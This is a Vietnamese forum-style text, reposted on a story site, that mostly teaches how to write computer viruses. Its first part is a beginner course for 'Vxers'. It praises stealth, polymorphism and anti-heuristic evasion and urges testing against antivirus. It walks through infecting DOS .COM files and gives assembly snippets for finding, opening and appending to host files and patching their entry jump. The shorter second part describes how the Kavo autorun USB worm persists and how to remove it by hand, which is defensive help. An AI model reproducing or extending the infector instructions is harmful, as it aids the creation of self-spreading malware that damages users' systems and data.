quangdatyqh

BÀI 1:

VR là gì?

E hèm... cũng khó đấy vì trong thực tế VR HẾT SỨC ĐA DẠNG. Tuy nhiên ta có

thể định nghiã nôm na VR là một đoạn code có khả năng tự sao chép, nhân bản

(không đúng với trojan lắm nhỉ ). VR có thể nằm trong các tệp khả thi

(executable files) như COM hoặc EXE, boot sector, MBR...

Chọn ngôn ngữ lập trình

Thông thường VR được xây dựng bằng Assembler nhưng không nhất thiết như vậy.

VR trên thực tế có thể xây dựng bằng Pascal, C, VB... thậm chí có VR còn được

viết bằng tệp BAT. Tuy vậy tôi khuyên nên chọn ASM với các lý do sau:

Kích thước nhỏ: ngôn ngữ ASM sẽ cho ta khả năng lập trình với kích thước

nhỏ nhất có thể. Đây là một đặc tính quan trong của VR. Bằng ASM ta sẽ bớt

đi rất nhiều code không cần thiết và trùng lặp do các trình biên dịch ngôn

ngữ bậc cao sinh ra. Trong quá trình tối ưu mã code ta có thể tối ưu đến từng

byte mã lệnh. Lựa chọn các lệnh có cùng kết quả với kích thước nhỏ

nhất....

Khả năng kiểm soát: Ta có thể kiểm soát từng lệnh, move code từ vị trí này

sang vị trí khác, vừa chạy vừa patch code ( patch on-the-fly ). Mã hoá code từng

phần ....

Tính linh hoạt: đây là ưu điểm mạnh nhất của ASM khi lập trình. Là một ngôn

ngữ phi cấu trúc, khả năng sáng tạo trên ASM là không bị giới hạn.

Cuối cùng nhiều khi VR không hoàn toàn là một chương trình (boot VR chẳng hạn)

nên chẳng có lý do gì để chọn một ngôn ngữ bâc cao cả trừ phi bạn quá

lười.

Một Vxer cần có gì

Như vậy, hãy trang bị cho mình chút kiến thức về ASM rồi ta bắt tay với vài

công cụ tối thiểu sau:

Chương trình dịch ASM. Bạn có thể chọn TASM, MASM hoặc một chương trình dịch

bất kỳ tuỳ thích. Nói chung với tasm 3.1 là đủ với một dos VR

Chương trình link. Có thể là Tlink hoặc link.exe

Một tool debuger. Có nhiều lắm, debug, symdeb... (dos) softice, win32dasm... (win)

Một chương trình soạn text (quickedit, notepad, utraedit....)

Kiếm vài mẫu VR cơ bản, đừng bắt đầu từ VR phức tạp quá nếu không bạn

sẽ mệt mỏi vì debug thuật toán mã hoá và vượt qua một đống mã anti-debug.

Kiếm vài con cô cổ như LittleGirl, onehalf...

Tool dump bộ nhớ. Nếu không có thì sài tạm chức năng của debuger vậy

Bảng tra cứu ngắt trong vài quyển lập trình hệ thống hoặc dùng tech-help

Chương trình diệt VR (các AV xịn chứ không phải BKAV đâu) để kiểm tra xem VR

của bạn đã thực sự tàng hình trước các kiểm tra heuristic chưa

Email của tôi nếu cần giúp đỡ

Còn gì không nhỉ? Thôi tạm thế đã

Có một điều Vxer nên ghi nhớ KHÔNG MÁY MÓC. Bạn đã biết làm VR nhưng đừng

máy móc theo dập khuôn. Sáng tạo càng kỳ quặc VR của bạn càng nguy hiểm. Đảo

code đi thoải mái miễn đạt kết quả. Nghĩ ra càng nhiều tips & trịck càng tốt.

Tôi hy vọng sẽ lần lượt giới thiệu đủ các VR file trên dos, boot VR, VR file

trên win, VR file trên Linux, trojan và cuối cùng là VR trên nhiều hệ điều hành

DOS-WIN-UNIX.

Ta bắt đầu với một VR file đơn giản. Một VR file thường làm gì:

1. Mở file cần lây nhiễm

2. Kiểm tra xem đã từng nhiễm chưa

3. Nếu rồi thì bỏ qua

4. Lưu ngày giờ của file

5. Lưu đoạn code đầu chương trình (COM) hoặc header (EXE)

6. Nhét lệnh nhảy tới VR của ta đè lên code đã lưu (COM) hoặc sửa header (EXE)

để VR có thể bắt đầu trước chương trình gốc

7. Nối thêm VR của ta vào file

8. Cập nhật ngày tháng cũ

OK, ta đã có một VR đơn giản. Tôi sẽ phân tích từng mục ở các phần sau.

Thực ra có một loại VR tồi tệ nhất là overwriting VR. VR này thường ghi đè lên

tệp gốc dẫn đến què quặt dữ liệu. Bạn định tranh luận với tôi là còn

có rất nhiều hình thức lây lan khác ư? Tôi biết nhưng đây chỉ là bài cho

newbie đừng quên điều đó.

Tiếp tục nhá, các thao tác khác một VR có thể làm là gì:

Thường trú: Nhiều người nghĩ rằng VR là phải thường trú nhưng không hẳn

vậy. Chính vì thế tôi không liệt thao tác này vào trong nhóm các thao tác thường

làm.

Lây nhiễm: Một VR có thể lây nhiễm nhiều cách (ở trên là lây nhiễm tệp khả

thi) qua files, email... hoặc boot sector (đĩa mềm), macro... Nạn nhân sẽ chạy file

lây nhiễm mà không biết. Alê hấp, VR nắm quyền điều khiển

Nắm quyền điều khiển: Một khi VR đã chạy ta có thể làm mọi điều ta muốn.

Phát huy trí tưởng tượng thoải mái. Bạn có thể lấy mọi thông tin của nạn

nhân (trojan hay làm) từ pwd email đến thư tình... thậm chí mở một backdoor để

điều khiển máy tính từ xa.

Phá hoại: Một khi đã nắm quyền điều khiển, bạn có thể phá hoại những gì

bạn thích phá. Theo nhận xét của tôi, phá hoại là hình thức chỉ các beginner

mới thích làm. Nó hơi thất đức, và tất nhiên có VR hoàn toàn không phá

hoại

Một vài kỹ thuật nâng cao tôi sẽ phân tích thêm trong bài viết là:

ARMOURING: chống debug và disassembler. Đây là một trong các kỹ thuật tự bảo vệ

cho VR (xem thêm bài kỹ thuật lập trình VR). Tôi sẽ cung cấp chi tiết cho các

bạn một số cách bẫy ngắt lạ (int 1, int 0, int 6...), đánh lừa stack, đặt

điểm dừng (break points), fetch code on-the-fly

STEALTH: có một số thuật toán rất hay ( FCB, Handles, SFT, tự tháo gỡ...). Các kỹ

thuật này nhằm làm nạn nhân thấy tệp tin có vẻ như chưa bị nhiễm. Nó có

thể trả về kích thước chuẩn khi nạn nhân rờ đến hoặc thậm chí tự tháo

gỡ VR ra khỏi tệp khi nạn nhân mở file. Tôi sẽ trình bày kỹ về FCBStealth,

SFTStealth, Handle stealth. Tự tháo gỡ thì chắc các bạn sẽ tự làm được

ENCRYPTION: tôi sẽ trình bày vài cách mã hoá đơn giản và thông dụng. VR thường

mã hoá code của nó và chỉ giải mã ra khi chạy.

POLYMORPHISM: Đa hình là kỹ thuật tự thay đổi code mã hoá nhằm tạo ra càng

nhiều phiên bản càng tốt. Tự thay đổi liên tục là một chức năng sinh

tồn.

ANTI-HEURISTIC: Thuật toán chống tìm kiếm hueristic (xem thêm Kỹ thuật lập trình

VR)

TUNNELING: kỹ thuật bẫy ngắt

ANTI-TUNNELING: Cách giữ ngắt cho riêng mình, tránh AV hoặc VR khác

ANTI-BAIT: Điều cần tránh khi lây nhiễm (xem thêm kỹ thuật lập trình VR)

OPTIMIZATION: Một số kinh nghiệm tối ưu code

Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR

COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix

nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi

thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ

cắt ngắn chương trình đào tạo.....

Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR

COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix

nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi

thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ

cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên

DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các

bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng

cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật

lập trình VR của tôi.

Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối (append) chính nó

vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước

khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương

trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR

chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều

khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân

vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã

nhiễm VR.

Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình

vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.

. . . . . . . . . . . . . . . . . . . . . |Jump VR|

------------. . ---------. . . . . . ----------

| File. . . | + |Virus. | ===>|File. . |

-----------. . ----------. . . . . ----------

. . . . . . . . . . . . . . . . . . . . . |Virus. |

Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình

gốc ra sau VR theo dạng

------------. . ---------. . . . . . ----------

| File. . . | + |Virus. | ===>|Virus. |

-----------. . ----------. . . . . ----------

. . . . . . . . . . . . . . . . . . . . . |File. . |

Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng

kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được

hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước,

chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc.

Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực

ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.

Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:

Bat dau ct |-------------------|. . . . . |----------------------|

. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|

. . . . . . . . |-------------------|. |. . . |----------------------|. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |

. . . . . . . . |-------------------|. |. . . |----------------------|. |

. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |

. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |

. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |<-|

. . . . . . . . . . . . . . . . . . . . . . . . . . |. Ma VR. . . . . . . |

. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |

. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|

Thao tác lây nhiễm của một VR .com là

1. Mở file .com

2. Lưu ngày giờ tạo file

3. Lưu các bytes đầu CT gốc (thường là 3)

4. Tính lệnh nhảy tới VR (cuối CT)

5. Ghi lệnh nhảy đè lênh các bytes đầu

6. Nối VR vào cuối CT gốc

7. Phục hồi lại ngày giờ tạo file

8. Đóng file

Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm

kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm

Thực hành:

Bắt đầu một VR đơn giản:

.model tiny

.code

org 0100h

jump_to_VR:

db 0E9h,0,0 ; jmp start

start:

call get_addr

db 0b8h ;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)

get_addr:

pop bp

Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc

ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú

bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định

bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt

của dos. Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có

gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first),

hàm 4Fh ngắt 21h (find next) để tìm kiếm.

Chú ý vì VR của ta được nối vào cuối một chương trình khác nên các offset

sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng

tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị

offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như

sau:

get_addr:

pop bp

;.......

; Code Virus here

;.......

lea dx, [bp+offset COMmask-offset get_addr]

;....

xxx db "*.COM",0

Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì

phức tạp:

1. Mở file:

;offset tên file nạp vào ==> dx

mov ax, 3D02h ; Open R/O

int 21h

xchg ax, bx ; Handle in BX

2. Lấy ngày giờ tạo file

mov ax, 5700h ; get file time/date

int 21h

push cx

push dx

3. Đọc các bytes đầu

mov ah, 003Fh

mov cx, 001Ah

lea dx, [bp+offset readbuffer-offset get_addr]

int 21h

Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu

tệp đã bị lây nhiễm thì không lây nhiễm lại.

4. Tính lệnh jmp đến cuối file

xor cx, cx

xor dx, dx

mov ax, 4202h

int 21h ;<== Lấy kích thước tệp

Với:

JmpCode:db 0E9h,00,00

Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:

mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

mov ah,40h

mov dx,<địa chỉ jmpCode>

mov cx,4

int 21h

5. Nối VR vào cuối tệp

mov ah,40h

mov dx,<địa chỉ start>

mov cx,<Kích thước VR>

int 21h

6. Phục hồi ngày giờ

mov ax, 5701h ; restore file time/date

pop dx

pop cx

int 21h

7. Đóng tệp

mov ah,3eh

int 21h

Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là

1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình

gốc

2. Ghi lệnh nhảy gồm3 bytes E9h, <2 bytes kích thước ct gốc> vào đầu ct gốc

Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và

nhảy về đó

Đến đây ta kết thúc một VR .com không thường trú.

Câu hỏi và bài tập:

1. Tập viết một chương trình bằng ASM hiển thị tất cả các tệp *.com trong

thư mục hiện hành và gốc c:\

2. Viết một chương trình nối một đoạn mã vào một tệp

3. Hãy nghiên cứu và trả lời các câu hỏi sau:

- Thông thường kích thước tốii đa của một tệp .com trên dos là bao nhiêu

- Lệnh nhảy gần có mấy bytes vvà ý nghĩa từng byte

- Khoảng cách tối đa của một lệnh nhảy gần

Câu hỏi nâng cao:

- Di rời một đoạn mã máy từ vị trí này sang vị trí khác trên bộ nhớ sẽ

có ảnh hưởng thế nào đến các lệnh nhảy và call

Cách Diệt virus "autorun" và "ntdelect.com" 2

Mang USB ra mấy quán in là kiểu gì cũng được tặng miễn phí chú này

Con này ngoài cái Autorun kô làm hiện dọng Autoplay đậm trên đỉnh như bình thường thì cũng kô có gì đặc biệt. Diệt bằng tay rất đơn giản.

Nó tạo ra 2 file %Sysdir%\Kavo.exe và %Sysdir%\Kavo*.dll" (* ký thự này mình kô nhớ rõ )

Tạo một key trong HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run để kích hoạt file Kavo.exe khi vào win.

Khi file Kavo.exe được kích hoạt nó sẽ inject file Kavo*.dll vào Process Explore.exe

Khi file Kavo*.dll được ijnect vào Process Explore.exe thì nó tác dụng:

- làm máy kô mở ẩn được bằng cách luôn để value '0' cho key "CheckedValue" trong HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\

Tạo Autorun và file ntdelect.com trong thư mục gốc của các ổ. Và +s +h cho mấy file này (nếu dùng lệnh attrib để -s -h thì nó lại + lại ngay sau vài giây. xóa cũng thế.)

Đó là các chức năng giúp nó phòng thủ còn các chức năng khác thì mình chưa biết

Diệt nó bằng tay như sau:

Vào Task Manager kill Process Explore.exe rồi lại Open lại để unload file Kavo*.dll ra khỏi Process Explore.exe --> làm virus ngưng hoạt động.(rất đơn giản )

Bây giờ thì bạn mở khóa ẩn bằng cách vào regedit thay value của key "CheckedValue" thành '1' rồi vào folder options mở ẩn thường và ẩn System ra.

Tiếp theo là vào các ổ qua ô Address của Window Explore (dùng chuột sổ cái address xuống --> di chuột đến ổ cần vào --> click) chứ kô được vào bằng click đúp lên các ổ! để kô kích hoạt lại virus.

Sau khi vào được ổ thì Xóa 2 cái file Autorun.inf và ntdelect.com đi. Chú ý ở ổ C có ntdelect.com(chữ thường) của virus và NTDELECT.COM (chữ in hoa) của OS --> chỉ xóa ntdelect.com(chữ thường)

Tiếp theo vào vào xóa các file Kavo.exe và Kavo*.dll (trong System32, quái sao mình gõ %Sysdir% vào Run nó kô mở System32 ra nhỉ?)

Tiếp nữa là vào regedit xóa key "kava"="%Sysdir%\Kavo.exe" trong HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Restart lại máy --> xong Viết thì dài nhưng làm thì nhanh lắm

Vừa rồi gặp mấy con hay hay có vài cái muốn nhờ các pác phân tích code giúp để giải đáp mà ko có time

1. là con Auto.exe (tạo Autorun và file Auto.exe trong các ổ) Hijackthis kô thể thấy key kích hoạt của nó .(quên kô dùng SystemSnapShot của bác Hoàng để thử.)

2. Con gì mà lúc chạy thấy cả file .jpg, .zip, .txt, .reg, .doc (Blank.doc, Empty.jpg, Hole.ZIP, Zero.txt, Unoccupied.reg) trong list process. Nó làm riêng file .exe kô hiện ra đuôi. tạo file .exe có icon hình folder để lừa victim. --> Hôm trước mình vừa diệt xong nó nhưng lại bị nó lừa kích hoạt lại có ai dính con này chưa?

Bạn đang đọc truyện trên: AzTruyen.Top

Tags: #dat